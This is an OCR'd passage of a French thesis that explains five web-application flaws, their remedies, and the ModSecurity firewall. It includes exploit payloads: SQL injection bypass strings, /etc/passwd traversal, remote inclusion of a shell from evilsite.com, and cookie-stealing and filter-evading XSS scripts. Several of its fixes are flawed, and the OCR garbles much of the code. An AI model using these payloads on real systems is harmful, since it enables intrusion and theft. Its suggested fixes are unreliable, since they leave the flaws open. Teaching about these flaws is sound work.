Les sites sont en face de beaucoup de failles et dans ce chapitre, nous avons travaillé
que sur cing failles les plus connues.
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1. SQL injection:

1.1.Définition :

Une injection SQL est un type d'exploitation d'une faille de sécurité d'une
application web, en injectant une requéte SQL non prévue par le systéme et pouvant
compromettre sa sécurité.

Le langage SQL, «StructuredQueryLanguage », est le langage standardisé
d'interrogation des bases de données.

Les techniques d'injection SQL consistent a introduire du code supplémentaire
dans une requéte SQL. Elles permettent & un utilisateur malveillant de récupérer des
données de maniere illégitime ou de prendre le controle du systéme.

Le contexte des injections SQL est tres varié, il concerne toutes les applications
utilisant une base SQL. [Site 06]

1.2.Attaques de type "SQL injection :

1.2.1.Contournement de I’authentification :
Principe de fonctionnement:
Commengons par regarder comment fonctionne une requéte SQL. L’ utilisateur
fournit a l'application un nom utilisateur et un mot de passe. Si ceux-ci
correspondent, il est authentifié et peut utiliser I'application.

L'exemple suivant montre l'exploitation d'une faille sur une page
d'authentification non sécurisée.
La page est codée comme suit :

<?php

$username = § POST['user'];

$password =$ POST['pass'];

$1eq=“SELECT * FROM users WHERE user name='$username'
AND user_password="$password"” ;

$result = mysql query ($req) or die (mysql_error());

if(mysql_affected rows()>0)

echo "Correct user name and password";
yelse
echo "Wrong user name and password";

}

7>
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Supposant que les parametres d'authentification sont « Ahmed » et « password ».
Donc apres la saisie d’ahmed et password, la requéte SQL devient :

SELECT * FROM users WHERE user name='ahmed  AND
user_password="password'

Les données entrées par l'utilisateur influent directement sur la requéte et donc
sur le résultat de celle-ci. Si aucun enregistrement n'est trouvé, cela signifie que le
nom d’utilisateur et le mot de passe sont incorrects. Pour étre identifié dans cette
application, il faut que la requéte retourne un ou plusieurs enregistrements. Les
techniques de SQL injection consistent justement & manipuler les entrées de
I'application de fagon non prévue par les développeurs pour altérer le fonctionnement
en utilisant ces parametres:

user_name=' ahmed' or '1'="1 'user_password=' ahmed' or '1'="1"
On peut utiliser : ' or '1'="1 on obtient:

user_name='"or '1'="1' AND user_password=""or '1'="1'

On obtient la requéte suivante :

SELECT * FROM users WHERE user name='ahmed'or '1'="1' AND
user_password='ahmed' or '1'="1'

'1'="1" étant toujours vrai, user name='"' or '1'="1" et user password='"' or
'"1'="1" sont toujours vrai donc la condition compléte est toujours vérifice. ('x' or
'1'='1" est toujours vrai quelque soit x appartient a {vrai, faux} donc l'utilisateur est
considéré comme authentifi¢ malgré on n’a pas saisi les bons paramétres
d'authentification.

1.2.2. UNION SQL Injection :

L’objectif de la commande SQL «UNION » et de combiner les résultats de
plusieurs requétes, I’SQL injection par la commande UNION permit d’injecter une
autre requéte afin d’obtenir des informations sensible de la base de données comme
par exemple le nom et le mot de passe de 1’administrateur de 1’application web.

[Doc 06]
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1.3.Les risques liés a I'injection SQL :

e accéder a des données aux quelles on ne devrait pas avoir acces.
e modifier des données.

e effacer des données.

e lire/écrire sur le systéme de fichier.

e exccuter des commandes systémes.

1.4.Comment détecter la présence d'une SQL injection :

L'exploitation d'une faille par injection SQL peut étre facile par la présence de
message d'erreur dans l'application. Cherchons a rendre la requéte SQL invalide dans
le cas d'un site Web en demandant une authentification.

<?php
$username = § POST['user'];
$password =$ POST['pass'];
$req=“SELECT * FROM users WHERE user name='$username'
AND
user_password="$password"” ;
$result = mysql_query ($req) or die (mysql_error());
if(mysql_affected rows()>0){
echo "Correct user name and password";
yelse{
echo "Wrong user name and password";

}

7>

Suite a la saisie d'une simple quotte () dans ce formulaire, la requéte devient
invalide et provoque l'affichage d'un message d'erreur:

“You have an error in your SQL syntax”

Ce script est donc vulnérable, mais il faut aussi tester l'utilisation de double-
quotte pour tester cette faille. Cependant le serveur ou le script s'exécute peut étre
configuré pour ne pas afficher de message d'erreur (Mettre display_errors = Off dans
php.ini par exemple) ou bien utiliser des try/catch (C#, Java, PHPS ...) pour gérer les
exceptions, les anomalies de fonctionnement et donner Iimpression d'un
fonctionnement normal de 'application.
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2. La faille Include :

2.1. Définition:

La fonction include() est I'une des fonctions PHP les plus utilisées, elle permet
I’appel de pages depuis une autre , elle a pour objectif d'inclure un fichier et
d'interpréter son contenu sur le serveur.

Supposons par exemple que toutes vos pages utilisent la page sql.php dans
laquelle sont contenues vos informations SQL (paramétres de connexion a la base de
données), il convient de I’inclure dans chacune de vos pages plutdt que de retaper

I’équivalent de sql.php dans toutes vos pages qui nécessitent la connexion a la base
de données. [Doc 07]

Voici donc un exemple pour mieux éclaircir :
L’url du site : http://www.site.com/index. php?page=contact.php

La page index.php ici aurait la structure suivante :
<?

include("sql.php");
include($page);
7>

2.2. Les types de la faille include :

2.2.1. Distant Faille include (Remote FI) :
Il faut savoir que PHP est capable d’inclure un fichier distant via le protocole
http. L’inclusion de fichiers & distance et d'interpréter son contenu sur le serveur
provoque une faille de sécurité.

2.2.2.Local Faille include :
LFI (Locale Fille Include) Consiste a inclure un fichier local sur le serveur
(existe sur le serveur)
Voici un exemple de FI:

<?php
if(isset($_GET['page']))
include($_GET['page']);
else
include('index.php');

7>
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Ce bout de code regarde si la variable "page" est contenue dans I'URL, et si
c'est le cas, elle inclut le fichier de méme nom que le contenu de la variable. Sinon,
elle inclut une page par défaut, par exemple index.php

La fonction est utilisée avec une variable non-contrdlé, I’utilisateur peut donc
accéder a cette variable et indiquer un autre fichier dans I’URL via la barre d’adresse
du navigateur.

2.3. Détecter une faille include :
Voyons un peu comment détecter la présence de cette faille.

Cela se fait de maniére assez simple. Essayer de modifier tous les paramétres
possibles de I'URL et d'observer le résultat. Le but est de faire tenter d'inclure une
page qui n'existe pas. L'erreur résultante produira un waring PHP comme par
exemple:

Warning: include (http://localhost/c99.txt) [function. include]: failed to open
stream: HTTP request failed! HTTP/1.1 404 Not Found in C:\wamp\www\rfi\rfi.php
on line 4

Warning: include () [function.include]: Failed opening 'http://localhost/c99.txt'
for inclusion (include path=";C:\php5\pear') in C:\wamp\www\rfi\rfi.php on line 4

Par conséquent, si vous détectez un message de ce type sur un site, il y a de
fortes chances qu'une faille include soit présente.

2.4. Techniques d'exploitation :

2.4.1.Exploitation Interne (Local FT) :
Reprenons notre Exemple :
http://www.site.com/index. php?page=contact.phplci la page index.php recevait
comme parametre la page contact.php pour ensuite I’inclure, donc si on remplace
contact.php par un fichier sensible existant sur le serveur, index.php I’inclurai, ce qui
nous permettrai de le lire.

Voici quelques exemples :

http://www.site.com/index. php?page=/etc/passwd

http://www.site.com/index.php?page=../../../../../../..[etc/passwd

Ici le site afficherais le contenu du répertoire /etc/passwd, ou se trouvent les
comptes administrateurs, ce qui vous permettrais d’avoir : un accés root sur le
serveur.
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2.4.2. Exploitation Externe (distant FI):
Reprenons encore une fois notre Exemple :
http://www.site.com/index. php?page=contact. php

Ce genre d’exploitation est le plus dangereux, ici c’est un script php hébergé
sur notre propre serveur qu’on pourrait inclure a I’aide d’un appel extérieur de la
sorte :http://www.site.com/index.php?page=http://www.votreserveur.com/script-
malfesant.php ce « script-malfaisant » s’occupera du reste.

Nous supposons que nous disposons d'un Shell (c99 par exemple) ou qu’on
peut tester pour une simple page contenant :

<?
echo ""Bonjour tout le monde" ;
7>

Maintenant, il ne nous reste plus qu'a placer notre page sur notre serveur
préfére, et a l'inclure. Mais il ne faut pas oublier un détail crucial, en effet, jamais
notre Shell a pour extension « .PHP » et si nous le plagons sur notre serveur qui
exécute le PHP, puis nous tentons de l'inclure sur le serveur vulnérable, elle sera
exécutée non pas par le serveur vulnérable, mais par le serveur qui I'héberge (le
nétre). 11 faut donc :

Renommer notre Shell avec une extension non exécutée, par exemple « .Txt,
JPG » etc.

Nous pouvons donc appeler la page vulnérable de cette maniere :

http://site/script.php?page=http://evilsite.com/shell.txt

Le contenu de la page http://evilsite.com/shell.txt sera interpréte.
2.5. Technique du I'octet nul (null byte):

Nous avons exploité une faille include() de fagon simple, imaginons que ce
code est vulnérable :

<?php

if(isset($_GET]['page']))
include($ GET['page'] . ".php");
else

include('index.php');

>
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Ici, I'extension ".php" est automatiquement rajoutée a la variable. Cela veut
dire que le« backdoor » va avoir une extension .php. Nous devons donc, en théorie,
nous trouver un serveur n'exécutant pas PHP pour placer notre Shell, sinon cela ne
marchera pas.

Pour contourner ce probléme : on utilise la technique de l'octet nul (null byte).
Cela consiste a rajouter l'extension voulue de notre Shell (.txt par exemple) et a
placer un zéro ASCII. Comme nous allons le passer dans I'URL, on doit I'encoder.
Son encodage sera donc "%00".

Il faudra donc inclure : http:/site/script. php?page=http://evilsite.com/shell.txt

La fonction include va étre traitée par une fonction programmée en langage C.
Et en langage C, on désigne la fin d'une chaine de caractéres par un octet null %00.

Dans le dernier exemple, le paramétre de la fonction sera :
http://site /script. php?page=http://evilsite.com/shell.txt%00 .php se met a la fin.

Mais comme %00 indique la fin de la chaine de caractére, tout le reste sera
ignoré.
Cette technique ne marche pas toujours, Cela dépend de la configuration du

serveur et les vérifications faites dans le script.

Remarque: Il est aussi faisable d'inclure un fichier dans le serveur qui ne
porte pas I’extension .php contenant des informations sensibles comme des mots de
passe. Par exemple le fichier /etc/passwd

On tente de deviner dans quel répertoire il se trouvent les fichiers qu’on

cherche, en testant successivement des paramétres comme ".././passwd" ou
"../../../passwd" etc., tout dépend de I'emplacement de fichier qu'on veut.
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3. Cross Site Scripting (XSS) :

3.1. Définition :

"XSS" est une abréviation pour «Cross Site Scripting» a 1’origine CSS (Cross
Site Scripting) changé pour ne pas confondre avec le CSS des feuilles de style
(Cascading Style Sheet), Il s'agit de l'injection non prévue de code HTML ou
JavaScript sur un forum de discussion, un livre d’or ou un chat ou une zone de
recherche d'un site Web qui ne filtre pas les entrées (input).

En dautres termes, 'attaquant peut injecter un script malveillant dans un site
Web, et le navigateur exécute ce scripte. [Doe 08]

3.2. Les types XSS :

3.2.1.Reflected XSS:

Lorsque l'injection sera a la fin de l'url ou dans une zone de recherche, la faille
n'affecte que l'ordinateur local, ce qui signifie que la page du site web n'est modifiée
que pour un utilisateur précis. La chaine entrée par l'internaute se retrouve affichée
dans l'adresse URL du site web. [Site 07]

3.2.2.Stored XSS :
Lorsque L'attaquant envoie le code au serveur (exemple, dans un forum Web)
Le serveur le stocke et I'envoie tel quel au client lors de la génération et la
visualisation de la page.

Ce type XSS est le plus dangereux. Les informations entrées par l'utilisateur
sont définitivement stockées dans une base de données. C'est par exemple le cas lors
d'une inscription ou lors de l'envoi d'un message dans un forum, l'internaute rentre
des balises HTML ou des scripts JavaScript, alors l'information sera stockée dans la
base de données et restituée a tous les futurs internautes affichant le message posté
sur le forum. [Site 07]

3.3. Détecter la faille :
Les pirates utilisent (Google hacking) pour trouver les sites vulnérables, Si
vous allez tester votre propre site, vous devez vérifier chaque page de votre site
manuellement ou utilisez un outil de scan de vulnérabilité.

Pour vérifier la présence d'une faille XSS, il suffit de faire passer un script dans
une zone de recherche ou un formulaire, par exemple :

<script>alert("XSS Hacking");</script> qui provoquera l'affichage d'une boite
de dialogue, si cela ne fonctionne pas, il n'y a aucune raison de s'inquiéter, Cela
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signifie que le site web Utilise des techniques de filtrage pour éviter failles XSS,
mais il y’a des méthodes de détournement des filtre XSS qu'on va voir apres.

3.4. Risques liés a XSS :

L'exploitation d'une faille de type XSS permettrait & un intrus de réaliser les
opérations suivantes :
e Redirection de l'utilisateur.
e Vol d'informations, par exemple, les cookies.
e Modification sur le site.
° Rendre la lecture d'une page difficile (boucle infinie d'alertes par
exemple). Etc.

3.5. Comment exploiter la faille XSS :

Apres la détection que le site qu'on veut attaquer est vulnérable, en exploitant
la faille par injection d'un code complet JavaScript. Par exemple, on introduit le
code <script>alert (HACKING') </ script> dans une zone de recherche par exemple,
une boite de dialogue s'affiche avec le mot HACKING. Donc, nous avons réussi a
exploiter la faille XSS. En étendant le code avec un script malveillant, un pirate peut
faire voler les cookies ou de défigurer le site et encore plus.

3.6. Scriptes d'exploitation :

Premiérement, voila quelques scriptes pour tester l'exploitation de la faille
XSS :

<script>alert(12345)</script>

<ScRiPt>prompt(995041)</ScRiPt>

<script>alert(" test" ) ;</script>

« ><script>alert(1)</script>

<script>alert(document.cookie)</script>

<script
SRC=http ://localhost/xss/cookies.php ?’+document.cookie></script>

<script>document.location="http ://localhost/xss/cookies.php ?’+docume
nt.cookie</script>
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4. La faille Upload :

4.1. Définition :

L’upload permet le transfert de fichiers (des images, des documents PDF et
autres), depuis votre machine vers un site web qui est le serveur, mais souvent les
scripts d’upload contiennent des vulnérabilités car les développeurs oublient
Souvent de vérifier et valider les types des fichiers téléchargés vers le serveur.

[Doc 08]

4.2. Comment I'exploiter ?
Cette faille peut étre exploitée de différentes maniéres.

1. Certains scripts d'uploads ne vérifient pas I'extension des fichiers, donc nous
pouvons uploader n’importe quel fichier. (Shell etc)

2. Contournement de la vérification de 1’extension de fichier : Avant de l'envoie
de notre script php « fichier.php » on doit d’abord modifier son extension en
extension image « fichier.jpg » par exemple. Lors de 1'envoie de ce demier,
pendant que le serveur vérifie l'extension de notre fichier « fichier.jpg » nous
pouvons modifier tout simplement le « fichier.jpg » en « fichier.php » dans
I'en-téte Content-type, le script comprendra qu'il s'agit d'une image alors que
c'est un script php.

3. Contournement de La vérification du contenu du fichier image : Possibilité
de tromper la vérification encore une foi, cette fois ci, le script ne vérifie pas
les extensions, mais seulement la lere ligne du fichier afin de vérifier si le
fichier est une image. Généralement dans les images GIF par exemple, la lere
ligne est "GIF89a;", il faut suffit d'ajouter cette ligne a votre script PHP, et le
serveur considérera votre script comme une image.
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5. Commande Execution :

5.1. Introduction:

Le langage PHP posséde une fonction « System() » permettant d'utiliser
directement des commandes systemes. Ainsi il est évident que cette fonction peut
s'avérer dangereuse puisque si l'attaquant réussi a détourner un script utilisant cette
fonction, Voyons tout d'abord un schéma classique. Le webmaster désire afficher la
date sur son site web. Il pourra alors procéder ainsi : [Doe 07]

<?php
echoSystem("date");
7>

Ce qui affichera :
La date du jour est: 06/05/2012

Remarque : il y’a d'autre fonctions permet I'exécution de commandes comme:
System ()  exec () shell exec() popen()
proc_open() passthru()

5.2. Comment I'exploiter ? :
Cependant imaginez que le webmaster en question désire passer ses

commandes dans un variable, en pensant que cela lui facilitera la lecture de son
script, ou pour n'importe quelle autre raison. Il procédera alors ainsi :

<7php
echo system(SREQUEST['cmd']);
>

Si nous le consultons de cette maniére : http:/site/system.php?cmd=date, le
serveur nous affichera le méme type de résultat que précédemment. Cependant il
suffit que nous modifions la variable $cmd par une autre commande pour voir
apparaitre d'autre chose.
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Par exemple :

http://site/system.php?cmd=cat /etc/passwd
Ce qui affichera :
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:1p:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh

Il est donc, comme nous l'avons vu, possible de corrompre le systéme ou
encore utiliser des programmes; cependant il est beaucoup plus pratique pour une
question de lecture des données, d'utiliser cette méthode dans le but d'obtenir un
maximum d'information sur le serveur (version du kernel, port ouvert et
distribution. .. ).
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Conclusion:

Nous avons abordé, dans ce chapitre les différentes failles qui peuvent nuire
aux applications web et les risques conséquents de ces failles, nous avons étudié
aussi les procédés pour détecter les failles et comment les exploiter, et pour sécuriser
ces failles, nous allons voir dans ce prochain chapitre les solutions pour parer aux
attaques.
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Solution pour parer aux attaques

Chapitre 5

Introduction :

Dans le chapitre précédent, on a étudié les failles et dans ce chapitre nous
allons voir les différentes solutions qui peuvent parer aux attaques et ces solutions
sont faites par les développeurs qui ont développé les applications web.
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1. Solution SQL injection :

Pour les variables contenant des chaines de caractéres, au lieu d’utiliser la
valeur de $§_POST ou $§ GET directement dans la commande, on la passe a la
fonction mysqli_real_escape_string() ou htmlspecialchars(), qui neutralise tous les
caracteres susceptibles qui permet de perturber le fonctionnement d’une requéte sql
comme: ',\ "\ etc, en ajoutant une barre oblique inverse juste devant ces caractéres.

Remarque: I exisic une auire {oncilon quelque peu  similaire a
mysqli_real_escape_string() , c'est Addslashes() , Mais trés récemment, une faille
de sécurité a ét¢ découverte sur cette fonction si elle est utilisée sur une installation
PHP 4.3.9 avec les magic_quotes_gpc activés.

1.1. Solution de contournement de I’authentification :
On suppose qu’ on a:
$username =$ POST['user name '];
$password =$ POST['user password '];

SELECT * FROM users WHERE user name='ahmed

oW

2

L
iz
3

user_password="ahmed' or '1'='1'
Pour empécher cette injection, on utilise la fonction htmlspecialchars comme suit :

$username = htmlspecialchars ($§ POST ['username']);
$username = htmlspecialchars (§ POST ['user_password ');

Certains caractéres ont des significations spéciales en HTML, et doivent étre
remplacés par des entités HTML pour étre affichés. htmlspecialchars() remplace tous
ces caracteres par leur équivalent dans la chaine string. Cette conversion est trés
pratique pour la programmation web.

Pour les guillemets doubles « " » devient "&quot;"
Pour le guillemet simple «'» devient "&#039;"

La fonction mysqli_real_escape_string()
Cette fonction est utilisée pour créer une chaine SQL valide qui pourra étre

utilisée dans une requéte SQL. La chaine de caractéres est encodée en une chaine
SQL échappeée.
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Les guillemets sont désormais précédés de barres obliques inverses : on dit
qu’ils sont « neutralisés ». Leur valeur SQL est maintenant la méme que leur valeur
littérale. Ils ont perdu la signification spéciale que leur confére le langage SQL.

Donc la requéte devient:

SELECT * FROM users WHERE user_name=="\' or \'1\'=\'l' AND user_password="\'
o Viv="1’

chaine fournie soit placée entre guillemets dans la requéte. Les types de guillemets,
qu’ils  soient simples ou doubles, n’ont pas d’importance, car
mysqli_real_escape_string() sait aussi neutraliser les guillemets doubles.

1.2. Solution de Pinjection par la commande UNION :

On suppose qu'on a:

<?php

$id=§ POSTT'id7;

$requete = mysql query("SELECT age FROM membres WHERE
id=$id");

7>

Si un pirate veut injecter du code SQL, il n'aura pas besoin d'utiliser les
quottes, puisque la variable $id n'est pas entourée de quottes donc pour les variables
numeériques, les fonctions précédentes ne serviraient a rien ici.

En utilisant la commande sql « UNION » notre requéte devient :
SELECT age FROM membres WHERE id= 2 UNION SELECT password FROM
membres WHERE id=1

Pour 1'éviter, il y a deux solutions :

e changer le contenu de la variable pour qu'elle ne contienne que des nombres.
e vérifier si la variable contient réellement un chiffre avant de l'utiliser dans
une requéie.

a. On utilise la fonction intval() qui retourne la valeur numérique entiére

(entier) de la variable var, en convertissant la valeur dans la base spécifiée
(par défaut en base 10). intval() ne doit pas étre utilisée sur des objets.
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<?php

$id = intval($_POSTT['id"]);

$requete = mysql query("SELECT age FROM membres WHERE
id=$id");

>

b. On utilise une fonction is_numeric() qui Détermine si la variable donnée
est de type numérique, elle retourne TRUE lorsqu'une variable ne contient
que des nombres et FALSE si ce n'est pas le cas.

Exemple:

<7php

$id =8 POSTT'id1T;

if (is_numeric($id))

{

$requete = mysql query("SELECT age FROM membres WHERE
id=$id");

}

1.3. Quelques directives pour la sécurité :

Le ficher de configuration php « php.ini » contient des directives telles que :
magic_quotes_gpc : Si ce paramétre est sur On, cette option permet d'ajouter le
caractere d'échappement devant les apostrophes, elle peut étre utilisées pour échapper
automatiquement avec antislash (une barre oblique inverse) les guillemets simples

«"'», guillemets doubles « " ».

magic_quotes_sybase : échappe « ' » avec « " » au lieu de « \' ».
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2. Solutions Faille Include :

2.1. Comment se protéger contre LFI et RFI ?
Vous pouvez constituer un tableau contenant toutes les pages dont l'inclusion
est autorisée, et juste avant de faire une inclusion, vous vérifiez la présence de cette
page dans le tableau, ou bien vous spécifiez les pages autorisés a inclure.

Pour automatiser tout cela, il est préférable de faire une fonction
"include_secure($page)" par exemple, qui fait ce travail de maniére systématique
pour vous.

Voila le code sécurisé :

< 7php

if ($1fi I= "index.php" or $rfi = "contact.php") {
echo "error";

die;

}
include ("$rfi");
>

2.2. Quelque protection non sécurisés :

A. 1l suffit d’utiliser la fonction file_exists() qui renvoi true si le fichier existe
sur notre serveur et false si il n’existe pas.

Exemple :

<7php
if(file_exists($_GET[‘page’]))
include($ GET[‘page’]) ;

else

echo“la page demandé¢ n’existe pas!”
7>

Cette solution corrige la faille remote file include (RFI)
Attention:
Ce script est vulnérable aux LFI.
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B. Interdire les slashs:
Ce script corrige la faille LFI car il interdit le (../) dans la variable GET

< ?php

function sec($i)

{

$i=str_replace ("../","","$i");
include($i’]) ;

}

sec("$1fi");
>

On peut détourner cela en utilisant le chemin directement sans utiliser../ (exemple:
C:\AppServiwww\image\shell.txt)

C- interdire HTTP
Ce script corrige la faille RFI car il interdit le http dans la variable GET

< ?php
function sec($i)

{
$i=str_replace ("http","","$i");
include($i’]) ;

}
sec("$1fi");
7>

Attention:
Ce script est vulnérable aussi aux LFL

Remarque :

1. Require() est équivalent a include() vous devez procéder de la méme
maniere.

2. Si vous n'avez pas besoin d'inclure des fichiers a distant, la directive

allow_url_include dans le fichier de configuration php.ini doit étre
impérativement passée a Off
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3. Solutions de (XSS) :

3.1. Techniques de contournement de filtrage XSS :

Les filtres et les controles XSS c'est un probléme pour ceux qui veulent
exploiter la faille XSS, cependant y a des astuces pour détourner quelques filtres
utilisé par les développeurs

3.1.1.La directive magic_quotes_gpc = On

Dans le fichier de configuration php.ini il ya une directive magic_quotes_gpe
si elle est a On elle va ignorer <>, <"> et <\> qui se retrouve dans les scriptes XSS,
car ces scriptes contient ces caracteres, et pour contourner ce filtre, on utilise la
fonction String.FormCharCode() mais avant de I’utiliser, il faut coder d'abord la
partie de script xss qui contient les caractéres non autorisés en ASCii . Si on veut
utiliser le scripte <script>alert("XSS Hacking");</script> on doit coder XSS Hacking
en  ascii. Supposant  qu'on  trouve 112,132,134,111,122,on  utilise
String.formCharCode() dans le script comme suit:

<script>alert(String. formCharCode(112,132,134,111,122));</script> pour
éviter d'utiliser les guillemets "

3.1.2.Le codage par hexadécimal:

Nous pouvons encoder notre script en entier dans le code HEX de sorte qu'il ne
peut pas étre filtré.
Par exemple: alerte <script> ("hack"); </ script> peut étre convertir en hexadécimal
comme suit:
%3¢%73%63%72%69%70%74%3€%20%28%22%53%61%6¢%75%74%22%29%3
b%20%3¢%21%20%73%63%72%69%70%74%3¢

Apres, on injecte le code dans le site comme suit :
www.site/xss/search?p=%3c¢%73%63%72%69%70%74%3e%20%28%22%53%61
%6¢%75%74%22%29%3b%20%3¢%2{%20%73%63%72%69%70%74%3e

3.1.3. Obfuscation :
Cette méthode est la plus faible, elle consiste a interdire les mots qui sont
souvent utilisés dans les scriptes XSS (script, alert ,...etc) si par exemple les mot
script, alert sont interdit, dans ce cas, on va réécrire le script de la maniére suivante:

<ScRipT>AleRt("XSS Hacking");</ScRipT>
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3.2. La solution la plus sécurisé :

Nous utilisons la fonction htmlentities() avec deux arguments :

- Le premier sera votre variable

- le second est ENT_QUOTES, pour transformer les quottes en « &quot; » et
donc interdire les guillemets.

Exemple :

Code : PHP
$texte = htmlentities($§ POST[‘texte’],ENT QUOTES);
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4. Solutions de Fille Upload :

v Vérifier les extensions des fichiers.
v" Protéger vos répertoires.

La meilleure stratégie pour se protéger contre la faille uploade est de limiter la
capacité des attaquants afin d'appeler des fichiers de vue de leur emplacement de
téléchargement. Par exemple, les fichiers doivent étre téléchargés a des répertoires
qui existent en dehors de la voie d'application. Cela signifie que le fichier peut
toujours étre lu par le serveur web, mais ne peut jamais étre appelé directement par
un attaquant via une URL spécifique.
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5. Solutions de Commande Execution :

Pour éviter cette faille, il faut repérer le caractére pipe '|' et arréter le script et ne

pas oublier d'effectuer une recherche sur 1'équivalent du pipe en URL-Encode (a
savoir %7c).

Il faut savoir aussi que cette méthode fonctionne aussi avec les caractéres &
(and) ou encore ; (point-virgule).

Exemple pour le caractére 'pipe' :

if( (strstr($cmd, ")) || (strstr($cmd,
”%70"))

{

echo "Erreur : caractere interdit !";

break();

}

La solution la plus sécurisé¢ est de ne mettre pas une variable comme un
argument pour la fonction « system()» cela voudra dire que il faut mettre la

commande qu’on veut utiliser directement dans la fonction system().
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Conclusion

Dans ce chapitre, nous avons étudié comment sécuriser manuellement les
failles d’un coté des programmations que le développeur puisse les sécuriser, et dans
le chapitre qui suit, on va voir d’autres maniéres de sécurisation a savoir la
sécurisation automatique faite par le par feu applicatif (Mode Security).
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Le pare-feu applicatif ModSecurity

Chapitre 6

Le pare-feu applicatif ModSecurity

Si un pare-feu réseau contrdle le trafic en fonction de sa provenance ou du port
qu'll réclame pour accéder au serveur, il devient inefficace quand celui-ci doit-étre
accessible depuis n'importe ou, par n'importe qui (sur Internet, par exemple) et a
travers un port bien connu le port 80 pour un serveur web.

Sur un serveur web, une adresse URL spécialement modifiée pourra, par
exemple, permettre I'exploitation d'une faille dont les conséquences peuvent aller de
la simple exploration de l'arborescence compléte du disque jusqu'a la prise de

Al 14 A
onntrala tnta 1 avatama
VUL VIV WGl MU 0y DU,

Autre exemple de risque, des informations pourront étre extorquées a une base
de données SQL en lui soumettant, via le site web, une requéte non autorisée.

Donc le filtrage applicatif (ModSecurity) s'est imposé quand I’antivirus et le

pare-feu réseau se sont montrés incapables de contenir les grandes épidémies des
attaques.
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1.Définition :

ModSecurity est une sorte de firewall pour Apache qui apporte une solution
aux problémes de sécurité et d’attaques des applicatifs web.

Il permet d'augmenter le niveau de sécurité dun serveur web Apache en
bloquant les différentes attaques comme injection SQL, Cross Site Scripting etc.

Ce ModSecurity est open source, il est destiné a renforcer la sécurité du
service web et ce, directement par I’intermédiaire du serveur HTTP. Les
principales opérations s’effectuent durant le traitement des entrées/sorties du

serveur. Cest-a-dire, avant la prise en charge des données par Papplication et

apres l'exécution du processus. [Doc 09]

1.1.Téléchargement et Installation :
Mode Security est disponible & www.modsecurity.org/download/ et requiert les
composants supplémentaires suivants avant que vous puissiez le compiler
i. Apxs
i, Libxumi2
iii. mod_unique_id

1.2.Compilation et installation & partir de la source :
Vous aurez besoin des priviléges root pour installer ModSecurity et pour étre
en mesure de compiler les binaires, vous avez besoin d'un Makefile pour faire
exécutez la commande suivante:

[apache2]$ ./configure

config status: creating Makefile

config.status: creating build/apxs-wrapper
config.status: creating mod_security2 config.h

Apres que cette commande ait terminée, vérifier la présence d'un fichier appelé
Makefile dans le répertoire courant. Aprés d'étre assuré qu'il existe, vous pouvez
compiler le binaire:

I. Make
II. Makeinstall

Vous devriez voir une liste assez longue de messages et si tout va bien il
devrait y’ avoir aucuns messages d’erreurs (si vous allez obtenir un peu
d'avertissements du compilateur, vous pouvez les ignorer).
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Installation depuis le binaire :
Si vous utiliser Fedora ou radhat :

# yum install mod_security

Si vous utiliser Debian Ubuntu:
# apt-get install 1ib apache-mod-security

1.3. Intégration ModSecurity Dans Apache -
mod_secur1ty2.so. Ce ﬁchler contient toutes les fonctlonnahtes ModSecunty.
Pour permettre & Apache de connaitre ModSecurity, commencer par copier le
fichier mod_security2.so dans le répertoire de modules Apache
Puis éditer le fichier de configuration apache:
/ete/apache2/apache2.conf

Finlhinr An Annfioiieats r liatn ngane lamaiin Aaa Aivanticraa
1iCiiicCTr QC COiiti B ti0il, 1 y dauia uiiC 1istC assCz 1U115uu aCs GiiCluives

de configuration. Trouvez la section des directives LoadModule et ajoutez la ligne
suivante au haut de la liste:
LoadModulesecurity2 module /usr/lib/apache2/modules/mod_security2.so
[Doc 09]

1.4.Le fichier de configuration :

i est préférable de mettre toutes les régies de configuration et de sécurité pour
ModSecurity dans un fichier séparé dans le sous-répertoire conf.ddu répertoire
racine d'Apache. Cela vous empéche de encombrer votre fichier de configuration
principal Apache avec les directives mod_security

Créez un fichier appelé modsec.conf dans le repartoireconf.d) et entrez les
informations suivantes :

<IfModule security2 module>
# Turn on rule engine and set default action
SccRulcEngine On
SecDefaultAction "phase:2,deny,log,status:403"
</IfModule>

1.5.Tester votre installation :
Pour vérifier que ModSecurity fonctionne correctement, nous allons créer un
simple fichier HTML puis refuser l'accés a ce fichier HTML a l'aide d'une régle
ModSecurity
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Nous allons maintenant créer une régle de sécurité pour bloquer l'accés a ce fichier
dans le fichier de configuration Modsec.conf.
v" Bloquer toutes les requettes ayant la chaine"secret”" dans URI SecRule

REQUEST _URI "secret"

Il faut redémarrer Apache pour charger la nouvelle régle de sécurité. Maintenant,

essayez de l'acces au fichier de nouveau, vous devriez obtenir un message «acces

refusé» (accessdenied), ce qui signifie que ModSecurity fait son travail. [Doc 09]
1.810g:

Le journal standard d'Apache ne donne pas beaucoup plus d'informations
comme le temps et la date, et autres informations sur la requéte. ModSecurity
introduit la journalisation d'audit, qui vous donne la possibilité d'enregistrer des
informations beaucoup plus détaillées sur les requétes adressées a votre serveur web.

Le moteur de journal d'audit de ModSecurity sont désactivées par défaut.
Vous pouvez activer le moteur de journal d'audit en plagant une directive
SecAudiiBEngine dans ie fichier de configuration ModSecurity.

Voici les valeurs possibles pour SecAuditEngine:
#Enables audit logging for all transactions.
SecAuditEngine On
#Disables audit logging.
SecAuditEngine Off
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2.Fonctionnement global de ModSecurity :

ModSecurity dispose de cinq phases de traitement qui correspondent chacune &
une étape clé. Pour chaque transaction, les phases sont exécutées séquentiellement de
la phase 1 a la phase 5. Une transaction correspond a une requéte d’un client et la
réponse renvoyée par le serveur. [Site 08]

2.1.Phase 1 : Traitement des en-tétes de la requéte :
Cette phase permet notamment d’inspecter les arguments passés dans I’URL
dans le cas d’une requéte en GET ainsi que de vérifier les cookies ou le UserAgent.

2.2.Phase 2 : Traitement du cor .
L’analyse de corps de la requéte permet d’inspecter les arguments dans le cas
d’une requéte en POST

2.3.Phase 3 : Traitement des en-tétes de la réponse :
Les en-tétes de la réponse du serveur Web, sont observés par ModSecurity afin
de décider s’il est nécessaire ou non d’inspecter le corps de la réponse.

2.4.Phase 4 : Traitement du corps de la réponse :
Cette phase est identique a la phase 2 sauf qu’elle traite la réponse fournie par
